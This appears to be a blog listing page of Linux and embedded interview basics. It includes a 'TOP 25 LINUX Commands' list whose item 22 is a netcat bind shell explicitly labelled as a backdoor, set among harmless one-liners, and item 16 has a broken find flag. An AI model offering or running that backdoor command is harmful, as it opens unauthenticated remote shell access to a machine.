
What is Queue? Where it will be use? what is the use of queue
Labels:
basics,
C Language,
campus interviews
what is the stack where it is used ? what is the use of the stack
Labels:
basics,
C Language,
embedded interview questions,
operating system interview questions
what is difference between array and stack and queue ? what is
Labels:
basics,
embedded interview questions,
embedded linux interview questions
what is difference between array and stack? what is array what is stack
Labels:
basics,
campus interviews,
embedded interview questions,
embedded linux interview questions,
linux interview questions
Difference between volatile and const?( constant)
Labels:
basics,
campus interviews,
embedded interview questions
The ARM is a 32-bit reduced instruction set computer (RISC) instruction set architecture (ISA) developed by ARM Holdings. It was known as the Advanced RISC Machine, and before that as the Acorn RISC Machine
Basic ARM9 Structure :-
ARM9 Processor Introduction with video Lecutre
Labels:
ARM 9,
basics,
Micro Processer
In this howto i will describe how to let root user to Graphical Login in Fedora 13. From Fedora 10 it was disable by default to let it login from GUI.We will be configure pam authentication files gdm and gdm-password respectively.
How To Enable Root Login at Graphical in Fedora 13
Labels:
basics,
embedded linux,
fedora
what is the Benefits of browsing the Linux source code ?? how to open linux kernel
Labels:
basics,
embedded,
embedded linux,
linux,
linux kernel
TOP 25 LINUX Commands
1.Search for all files modified in the last N days containing a specific text in their name
find DIR -mtime -N -name "*TEXT*"
2.Twitter update from terminal
curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml
3.Determine which processes use the most memory
ps aux | sort -nk 4 | tail
or
ps aux | sort -nk 4 | head
4.Find removed (deleted) files still in use via /proc:
find -L /proc/*/fd -links 0 2>/dev/null
5.Display the username which is currently logged in
whoami
6.Check if network cable is plugged in and working correctly:
mii-tool eth0
7.Show date using format modifiers
date +"%H:%M:%S"
8. Migrate existing Ext3 filesystems to Ext4:
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
9.Show info about a specific user:
finger $USER
10.On-the-fly unrar movie in .rar archive and play it, does also work on part archives:
unrar p -inul foo.rar|mplayer -
11.Show disk usage separately for each partition
df -h
df -B 1K
12.List programs with open ports and connections:
netstat -ntauple
or
netstat -lnp
13.Show which modules are loaded
lsmod
14.Using ruby, search for the string “search” and replace it with the string “replace”, on all files with the extension php in the curret folder. Do also a backup of each file with the extension “bkp”:
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php
15.Add or remove a module to/from the Linux kernel
Insert a module:
modprobe MODULE
Remove a module:
modprobe -r MODULE
16.Find files larger than 1 GB, everywhere
find / -type -f -size +1000000000c
17. All the startup services, and sort alphabetically
sudo chkconfig --list | sort | less
18.Search for a file using locate
locate FILENAME
19.Kill a process that is locking a file:
fuser -k filename
20.Change the encoding of a text file:
iconv -f INITIAL_ENCODING -t DESIRED_ENCODING filename
21.Manually pause/unpause an application (process) with POSIX-Signals, for instance Firefox:
killall -STOP -m firefox
22.Create a backdoor on a machine to allow remote connection to bash:
nc -vv -l -p 1234 -e /bin/bash
23.Launch a listener on the machine :
nc 192.168.0.1 1234
24.Print file name of terminal on standard input:
tty
25.Strip directory and suffix from filenames:
basename NAME
TOP 25 LINUX Commands
Labels:
basics,
campus interviews,
linux
Linux basic commands
cal : Command to see calender for any specific month or a complete year
date : displays the current date
echo : Print message on the terminal
bc : A text based calculator
xcalc : is graphical based calculator
passwd : allows you to change your password
who : tells you the users currently logged on to system
man : displays the documentation for a command
chmod : Changing the permissions of the file
chown : command is used for changing the ownership and group of a file
rm : used to delete files
mkdir : used to create directory
rmdir : used to remove directory
cp : copy the files
mv : moving files its like a cut command
cat : used to display content of a small file
tac : used to display content of a file in reverse manner
wc : used to count words in a file
cmp : used to compare files
comm : it displays the common between to files
gzip : used to compress the file
gunzip : used to uncompress the file
tar : used to create archive
zip : used to archiving as well as compressing
head : displays the top of the file
tail : displays bottom of the file
sort : ordering a file
grep : search for a pattern
Linux basic commands
Labels:
basics,
campus interviews,
linux